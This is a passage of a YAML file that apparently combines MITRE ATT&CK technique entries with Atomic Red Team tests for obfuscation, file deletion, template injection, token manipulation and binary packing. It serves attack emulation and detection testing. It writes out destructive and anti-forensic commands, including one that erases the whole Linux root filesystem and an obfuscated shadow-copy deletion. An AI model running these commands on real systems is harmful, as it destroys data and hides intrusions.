        Directory PowerShell modules, such as <code>Set-ADUser</code> and <code>Set-ADAccountControl</code>,
        that change account configurations. \n\nMonitor Fine-Grained Password Policies
        and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)"
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Modification'
      - 'Command: Command Execution'
      - 'User Account: User Account Metadata'
      - 'Script: Script Execution'
      x_mitre_permissions_required:
      - User
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1027.010:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Command Obfuscation
      description: |-
        Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)

        For example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing,  `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`“Wor”+“d.Application”`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)

        Adversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\voi\pcw\..\..\Windows\tei\qs\k\..\..\..\system32\erool\..\wbem\wg\je\..\..\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)

        Tools such as <code>Invoke-Obfuscation</code> and <code>Invoke-DOSfucation</code> have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - TruKno
      - Tim Peck
      - George Thomas
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'File: File Metadata'
      - 'Script: Script Execution'
      - 'Command: Command Execution'
      type: attack-pattern
      id: attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377
      created: '2023-03-14T17:36:01.022Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1027/010
        external_id: T1027.010
      - source_name: Twitter Richard WMIC
        description: Ackroyd, R. (2023, March 24). Twitter. Retrieved March 24, 2023.
        url: https://twitter.com/rfackroyd/status/1639136000755765254
      - source_name: Invoke-Obfuscation
        description: Bohannon, D. (2016, September 24). Invoke-Obfuscation. Retrieved
          March 17, 2023.
        url: https://github.com/danielbohannon/Invoke-Obfuscation
      - source_name: Invoke-DOSfuscation
        description: Bohannon, D. (2018, March 19). Invoke-DOSfuscation. Retrieved
          March 17, 2023.
        url: https://github.com/danielbohannon/Invoke-DOSfuscation
      - source_name: FireEye Obfuscation June 2017
        description: 'Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild:
          Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February
          12, 2018.'
        url: https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html
      - source_name: Malware Monday VBE
        description: 'Bromiley, M. (2016, December 27). Malware Monday: VBScript and
          VBE Files. Retrieved March 17, 2023.'
        url: https://bromiley.medium.com/malware-monday-vbscript-and-vbe-files-292252c1a16
      - source_name: Akamai JS
        description: Katz, O. (2020, October 26). Catch Me if You Can—JavaScript Obfuscation.
          Retrieved March 17, 2023.
        url: https://www.akamai.com/blog/security/catch-me-if-you-can-javascript-obfuscation
      - source_name: Bashfuscator Command Obfuscators
        description: LeFevre, A. (n.d.). Bashfuscator Command Obfuscators. Retrieved
          March 17, 2023.
        url: https://bashfuscator.readthedocs.io/en/latest/Mutators/command_obfuscators/index.html
      - source_name: Microsoft PowerShellB64
        description: 'Microsoft. (2023, February 8). about_PowerShell_exe: EncodedCommand.
          Retrieved March 17, 2023.'
        url: https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-encodedcommand-base64encodedcommand
      - source_name: RC PowerShell
        description: 'Red Canary. (n.d.). 2022 Threat Detection Report: PowerShell.
          Retrieved March 17, 2023.'
        url: https://redcanary.com/threat-detection-report/techniques/powershell/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1070.004:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Walker Johnson
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c
      created: '2020-01-31T12:35:36.479Z'
      x_mitre_version: '1.1'
      external_references:
      - source_name: mitre-attack
        external_id: T1070.004
        url: https://attack.mitre.org/techniques/T1070/004
      - source_name: Microsoft SDelete July 2016
        url: https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete
        description: Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February
          8, 2018.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.

        There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include <code>del</code> on Windows and <code>rm</code> or <code>unlink</code> on Linux and macOS.
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Indicator Removal on Host: File Deletion'
      x_mitre_detection: It may be uncommon for events related to benign command-line
        functions such as DEL or third-party utilities or tools to be found in an
        environment, depending on the user base and how systems are typically used.
        Monitoring for command-line deletion functions to correlate with binaries
        or other files that an adversary may drop and remove may lead to detection
        of malicious activity. Another good practice is monitoring for known deletion
        and secure deletion tools that are not already on systems within an enterprise
        network that an adversary could introduce. Some monitoring tools may collect
        command-line arguments, but may not capture DEL commands since DEL is a native
        function within cmd.exe.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Deletion'
      x_mitre_defense_bypassed:
      - Host forensic analysis
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1070.004
    atomic_tests:
    - name: Delete a single file - FreeBSD/Linux/macOS
      auto_generated_guid: 562d737f-2fc6-4b09-8c2a-7f8ff0828480
      description: 'Delete a single file from the temporary directory

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        parent_folder:
          description: Path of parent folder
          type: path
          default: "/tmp/victim-files/"
        file_to_delete:
          description: Path of file to delete
          type: path
          default: "/tmp/victim-files/T1070.004-test.txt"
      dependency_executor_name: sh
      dependencies:
      - description: 'The file must exist in order to be deleted

          '
        prereq_command: 'test -e #{file_to_delete} && exit 0 || exit 1

          '
        get_prereq_command: 'mkdir -p #{parent_folder} && touch #{file_to_delete}

          '
      executor:
        command: 'rm -f #{file_to_delete}

          '
        cleanup_command: 'rm -rf #{parent_folder}

          '
        name: sh
    - name: Delete an entire folder - FreeBSD/Linux/macOS
      auto_generated_guid: a415f17e-ce8d-4ce2-a8b4-83b674e7017e
      description: 'Recursively delete the temporary directory and all files contained
        within it

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        folder_to_delete:
          description: Path of folder to delete
          type: path
          default: "/tmp/victim-folder"
      dependency_executor_name: sh
      dependencies:
      - description: 'The folder must exist in order to be deleted

          '
        prereq_command: 'test -e #{folder_to_delete} && exit 0 || exit 1

          '
        get_prereq_command: 'mkdir -p #{folder_to_delete}

          '
      executor:
        command: 'rm -rf #{folder_to_delete}

          '
        name: sh
    - name: Overwrite and delete a file with shred
      auto_generated_guid: '039b4b10-2900-404b-b67f-4b6d49aa6499'
      description: 'Use the `shred` command to overwrite the temporary file and then
        delete it

        '
      supported_platforms:
      - linux
      input_arguments:
        file_to_shred:
          description: Path of file to shred
          type: path
          default: "/tmp/victim-shred.txt"
      executor:
        command: 'shred -u #{file_to_shred}

          '
        name: sh
    - name: Delete a single file - Windows cmd
      auto_generated_guid: 861ea0b4-708a-4d17-848d-186c9c7f17e3
      description: |
        Delete a single file from the temporary directory using cmd.exe.
        Upon execution, no output will be displayed. Use File Explorer to verify the file was deleted.
      supported_platforms:
      - windows
      input_arguments:
        file_to_delete:
          description: File to delete. Run the prereq command to create it if it does
            not exist.
          type: string
          default: "%temp%\\deleteme_T1551.004"
      dependency_executor_name: command_prompt
      dependencies:
      - description: 'The file to delete must exist on disk at specified location
          (#{file_to_delete})

          '
        prereq_command: 'IF EXIST "#{file_to_delete}" ( EXIT 0 ) ELSE ( EXIT 1 )

          '
        get_prereq_command: 'echo deleteme_T1551.004 >> #{file_to_delete}

          '
      executor:
        command: 'del /f #{file_to_delete}

          '
        name: command_prompt
    - name: Delete an entire folder - Windows cmd
      auto_generated_guid: ded937c4-2add-42f7-9c2c-c742b7a98698
      description: |
        Recursively delete a folder in the temporary directory using cmd.exe.
        Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted.
      supported_platforms:
      - windows
      input_arguments:
        folder_to_delete:
          description: Folder to delete. Run the prereq command to create it if it
            does not exist.
          type: string
          default: "%temp%\\deleteme_T1551.004"
      dependency_executor_name: command_prompt
      dependencies:
      - description: 'The file to delete must exist on disk at specified location
          (#{folder_to_delete})

          '
        prereq_command: 'IF EXIST "#{folder_to_delete}" ( EXIT 0 ) ELSE ( EXIT 1 )

          '
        get_prereq_command: 'mkdir #{folder_to_delete}

          '
      executor:
        command: 'rmdir /s /q #{folder_to_delete}

          '
        name: command_prompt
    - name: Delete a single file - Windows PowerShell
      auto_generated_guid: 9dee89bd-9a98-4c4f-9e2d-4256690b0e72
      description: 'Delete a single file from the temporary directory using Powershell.
        Upon execution, no output will be displayed. Use File Explorer to verify the
        file was deleted.

        '
      supported_platforms:
      - windows
      input_arguments:
        file_to_delete:
          description: File to delete. Run the prereq command to create it if it does
            not exist.
          type: string
          default: "$env:TEMP\\deleteme_T1551.004"
      dependency_executor_name: powershell
      dependencies:
      - description: 'The file to delete must exist on disk at specified location
          (#{file_to_delete})

          '
        prereq_command: 'if (Test-Path #{file_to_delete}) {exit 0} else {exit 1}

          '
        get_prereq_command: 'New-Item -Path #{file_to_delete} | Out-Null

          '
      executor:
        command: 'Remove-Item -path #{file_to_delete}

          '
        name: powershell
    - name: Delete an entire folder - Windows PowerShell
      auto_generated_guid: edd779e4-a509-4cba-8dfa-a112543dbfb1
      description: 'Recursively delete a folder in the temporary directory using Powershell.
        Upon execution, no output will be displayed. Use File Explorer to verify the
        folder was deleted.

        '
      supported_platforms:
      - windows
      input_arguments:
        folder_to_delete:
          description: Folder to delete. Run the prereq command to create it if it
            does not exist.
          type: string
          default: "$env:TEMP\\deleteme_folder_T1551.004"
      dependency_executor_name: powershell
      dependencies:
      - description: 'The folder to delete must exist on disk at specified location
          (#{folder_to_delete})

          '
        prereq_command: 'if (Test-Path #{folder_to_delete}) {exit 0} else {exit 1}

          '
        get_prereq_command: 'New-Item -Path #{folder_to_delete} -Type Directory |
          Out-Null

          '
      executor:
        command: 'Remove-Item -Path #{folder_to_delete} -Recurse

          '
        name: powershell
    - name: Delete Filesystem - Linux
      auto_generated_guid: f3aa95fe-4f10-4485-ad26-abf22a764c52
      description: 'This test deletes the entire root filesystem of a Linux system.
        This technique was used by Amnesia IoT malware to avoid analysis. This test
        is dangerous and destructive, do NOT use on production equipment.

        '
      supported_platforms:
      - linux
      executor:
        command: '[ "$(uname)" = ''Linux'' ] && rm -rf / --no-preserve-root > /dev/null
          2> /dev/null || chflags -R 0 / && rm -rf / > /dev/null 2> /dev/null

          '
        name: sh
    - name: Delete Prefetch File
      auto_generated_guid: 36f96049-0ad7-4a5f-8418-460acaeb92fb
      description: |
        Delete a single prefetch file.  Deletion of prefetch files is a known anti-forensic technique. To verify execution, Run `(Get-ChildItem -Path "$Env:SystemRoot\prefetch\*.pf" | Measure-Object).Count`
        before and after the test to verify that the number of prefetch files decreases by 1.
      supported_platforms:
      - windows
      executor:
        command: 'Remove-Item -Path (Join-Path "$Env:SystemRoot\prefetch\" (Get-ChildItem
          -Path "$Env:SystemRoot\prefetch\*.pf" -Name)[0])

          '
        name: powershell
        elevation_required: true
    - name: Delete TeamViewer Log Files
      auto_generated_guid: 69f50a5f-967c-4327-a5bb-e1a9a9983785
      description: |
        Adversaries may delete TeamViewer log files to hide activity. This should provide a high true-positive alert ration.
        This test just places the files in a non-TeamViewer folder, a detection would just check for a deletion event matching the TeamViewer
        log file format of TeamViewer_##.log. Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted.

        https://twitter.com/SBousseaden/status/1197524463304290305?s=20
      supported_platforms:
      - windows
      input_arguments:
        teamviewer_log_file:
          description: Teamviewer log file to create and delete.
          type: string
          default: "$env:TEMP\\TeamViewer_54.log"
      executor:
        command: |
          New-Item -Path #{teamviewer_log_file} -Force | Out-Null
          Remove-Item #{teamviewer_log_file} -Force -ErrorAction Ignore
        name: powershell
  T1221:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Michael Raggi @aRtAGGI
      - Brian Wiltse @evalstrings
      - Patrick Campbell, @pjcampbe11
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534
      type: attack-pattern
      created: '2018-10-17T00:14:20.652Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1221
        url: https://attack.mitre.org/techniques/T1221
      - url: https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)
        description: Microsoft. (2014, July 9). Introducing the Office (2007) Open
          XML File Formats. Retrieved July 20, 2018.
        source_name: Microsoft Open XML July 2017
      - source_name: SANS Brian Wiltse Template Injection
        url: https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780
        description: Wiltse, B.. (2018, November 7). Template Injection Attacks -
          Bypassing Security Controls by Living off the Land. Retrieved April 10,
          2019.
      - url: http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html
        description: Hawkins, J. (2018, July 18). Executing Macros From a DOCX With
          Remote Template Injection. Retrieved October 12, 2018.
        source_name: Redxorblue Remote Template Injection
      - url: https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/
        description: Segura, J. (2017, October 13). Decoy Microsoft Word document
          delivers malware through a RAT. Retrieved July 21, 2018.
        source_name: MalwareBytes Template Injection OCT 2017
      - source_name: Proofpoint RTF Injection
        url: https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread
        description: 'Raggi, M. (2021, December 1). Injection is the New Black: Novel
          RTF Template Inject Technique Poised for Widespread Adoption Beyond APT
          Actors . Retrieved December 9, 2021.'
      - source_name: Ciberseguridad Decoding malicious RTF files
        url: https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/
        description: Pedrero, R.. (2021, July). Decoding malicious RTF files. Retrieved
          November 16, 2021.
      - url: https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104
        description: Intel_Acquisition_Team. (2018, March 1). Credential Harvesting
          and Malicious File Delivery using Microsoft Office Template Injection. Retrieved
          July 20, 2018.
        source_name: Anomali Template Injection MAR 2018
      - url: https://blog.talosintelligence.com/2017/07/template-injection.html
        description: Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure
          Leverages Template Injection. Retrieved July 21, 2018.
        source_name: Talos Template Injection July 2017
      - url: https://github.com/ryhanson/phishery
        description: Hanson, R. (2016, September 24). phishery. Retrieved July 21,
          2018.
        source_name: ryhanson phishery SEPT 2016
      modified: '2022-05-11T14:00:00.188Z'
      name: Template Injection
      description: |-
        Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)

        Properties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.

        Adversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)

        Adversaries may also modify the <code>*\template</code> control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)

        This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        Analyze process behavior to determine if user document applications (such as Office) are performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior.

        Monitor .rtf files for strings indicating the <code>&#42;\template</code> control word has been modified to retrieve a URL resource, such as <code>&#42;\template http</code> or <code>&#42;\template \u-</code>.
      x_mitre_version: '1.3'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Process: Process Creation'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_defense_bypassed:
      - Static File Analysis
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1221
    atomic_tests:
    - name: WINWORD Remote Template Injection
      auto_generated_guid: 1489e08a-82c7-44ee-b769-51b72d03521d
      description: "Open a .docx file that loads a remote .dotm macro enabled template
        from https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1221/src/opencalc.dotm
        \nExecutes the code specified within the .dotm template.\nRequires download
        of WINWORD found in Microsoft Ofiice at Microsoft: https://www.microsoft.com/en-us/download/office.aspx.
        \ \nDefault docs file opens Calculator.exe when test sucessfully executed,
        while AV turned off.\n"
      supported_platforms:
      - windows
      input_arguments:
        docx_file:
          description: Location of the test docx file on the local filesystem.
          type: path
          default: PathToAtomicsFolder\T1221\src\Calculator.docx
      executor:
        command: 'start "#{docx_file}"

          '
        name: command_prompt
  T1134:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Access Token Manipulation
      description: |-
        Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.

        An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)

        Any standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_contributors:
      - Tom Ueltschi @c_APT_ure
      - Travis Smith, Tripwire
      - Robby Winchester, @robwinchester3
      - Jared Atkinson, @jaredcatkinson
      x_mitre_deprecated: false
      x_mitre_detection: "If an adversary is using a standard command-line shell,
        analysts can detect token manipulation by auditing command-line activity.
        Specifically, analysts should look for use of the <code>runas</code> command.
        Detailed command-line logging is not enabled by default in Windows.(Citation:
        Microsoft Command-line Logging)\n\nIf an adversary is using a payload that
        calls the Windows token APIs directly, analysts can detect token manipulation
        only through careful analysis of user network activity, examination of running
        processes, and correlation with other endpoint and network behavior. \n\nThere
        are many Windows API calls a payload can take advantage of to manipulate access
        tokens (e.g., <code>LogonUser</code> (Citation: Microsoft LogonUser), <code>DuplicateTokenEx</code>(Citation:
        Microsoft DuplicateTokenEx), and <code>ImpersonateLoggedOnUser</code>(Citation:
        Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API
        pages for more information.\n\nQuery systems for process and thread token
        information and look for inconsistencies such as user owns processes impersonating
        the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nLook
        for inconsistencies between the various fields that store PPID information,
        such as the EventHeader ProcessId from data collected via Event Tracing for
        Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID
        and ParentProcessID (which are also produced from ETW and other utilities
        such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId
        identifies the actual parent process."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '2.0'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      - 'User Account: User Account Metadata'
      - 'Process: Process Metadata'
      - 'Process: Process Creation'
      - 'Active Directory: Active Directory Object Modification'
      x_mitre_defense_bypassed:
      - Windows User Account Control
      - Heuristic Detection
      - System Access Controls
      - Host Forensic Analysis
      x_mitre_effective_permissions:
      - SYSTEM
      x_mitre_permissions_required:
      - User
      - Administrator
      type: attack-pattern
      id: attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48
      created: '2017-12-14T16:46:06.044Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1134
        external_id: T1134
      - source_name: BlackHat Atkinson Winchester Token Manipulation
        description: 'Atkinson, J., Winchester, R. (2017, December 7). A Process is
          No One: Hunting for Token Manipulation. Retrieved December 21, 2017.'
        url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf
      - source_name: Microsoft Command-line Logging
        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
          April 21, 2017.
        url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
      - source_name: Microsoft LogonUser
        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
        url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx
      - source_name: Microsoft DuplicateTokenEx
        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
        url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx
      - source_name: Microsoft ImpersonateLoggedOnUser
        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
        url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx
      - source_name: Pentestlab Token Manipulation
        description: netbiosX. (2017, April 3). Token Manipulation. Retrieved April
          21, 2017.
        url: https://pentestlab.blog/2017/04/03/token-manipulation/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
    atomic_tests: []
  T1027.002:
    technique:
      modified: '2023-03-30T21:01:48.113Z'
      name: 'Obfuscated Files or Information: Software Packing'
      description: "Adversaries may perform software packing or virtual machine software
        protection to conceal their code. Software packing is a method of compressing
        or encrypting an executable. Packing an executable changes the file signature
        in an attempt to avoid signature-based detection. Most decompression techniques
        decompress the executable code in memory. Virtual machine software protection
        translates an executable's original code into a special format that only a
        special virtual machine can run. A virtual machine is then called to run this
        code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software
        packing are called packers. Example packers are MPRESS and UPX. A more comprehensive
        list of known packers is available, but adversaries may create their own packing
        techniques that do not leave the same artifacts as well-known packers to evade
        defenses.(Citation: Awesome Executable Packing)  "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_contributors:
      - Filip Kafka, ESET
      x_mitre_deprecated: false
      x_mitre_detection: Use file scanning to look for known software packers or artifacts
        of packing techniques. Packing is not a definitive indicator of malicious
        activity, because legitimate software may use packing techniques to reduce
        binary size or to protect proprietary code.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - macOS
      - Windows
      - Linux
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Metadata'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Heuristic detection
      - Signature-based detection
      type: attack-pattern
      id: attack-pattern--deb98323-e13f-4b0c-8d94-175379069062
      created: '2020-02-05T14:17:46.686Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1027/002
        external_id: T1027.002
      - source_name: Awesome Executable Packing
        description: Alexandre D'Hondt. (n.d.). Awesome Executable Packing. Retrieved
          March 11, 2022.
        url: https://github.com/dhondta/awesome-executable-packing
      - source_name: ESET FinFisher Jan 2018
        description: Kafka, F. (2018, January). ESET's Guide to Deobfuscating and
          Devirtualizing FinFisher. Retrieved August 12, 2019.
        url: https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
      identifier: T1027.002
    atomic_tests:
    - name: Binary simply packed by UPX (linux)
      auto_generated_guid: 11c46cd8-e471-450e-acb8-52a1216ae6a4
      description: |
        Copies and then runs a simple binary (just outputting "the cake is a lie"), that was packed by UPX.
        No other protection/compression were applied.
      supported_platforms:
      - linux
      input_arguments:
        bin_path:
          description: Packed binary
          type: path
          default: PathToAtomicsFolder/T1027.002/bin/linux/test_upx
      executor:
        command: 'cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin

          '
        cleanup_command: 'rm /tmp/packed_bin

          '
        name: sh
    - name: Binary packed by UPX, with modified headers (linux)
      auto_generated_guid: f06197f8-ff46-48c2-a0c6-afc1b50665e1
      description: |
        Copies and then runs a simple binary (just outputting "the cake is a lie"), that was packed by UPX.

        The UPX magic number (`0x55505821`, "`UPX!`") was changed to (`0x4c4f5452`, "`LOTR`"). This prevents the binary from being detected
        by some methods, and especially UPX is not able to uncompress it any more.
      supported_platforms:
      - linux
      input_arguments:
        bin_path:
          description: Packed binary
          type: path
          default: PathToAtomicsFolder/T1027.002/bin/linux/test_upx_header_changed
      executor:
        command: 'cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin

          '
        cleanup_command: 'rm /tmp/packed_bin

          '
        name: sh
    - name: Binary simply packed by UPX
      auto_generated_guid: b16ef901-00bb-4dda-b4fc-a04db5067e20
      description: |
        Copies and then runs a simple binary (just outputting "the cake is a lie"), that was packed by UPX.
        No other protection/compression were applied.
      supported_platforms:
      - macos
      input_arguments:
        bin_path:
          description: Packed binary
          type: path
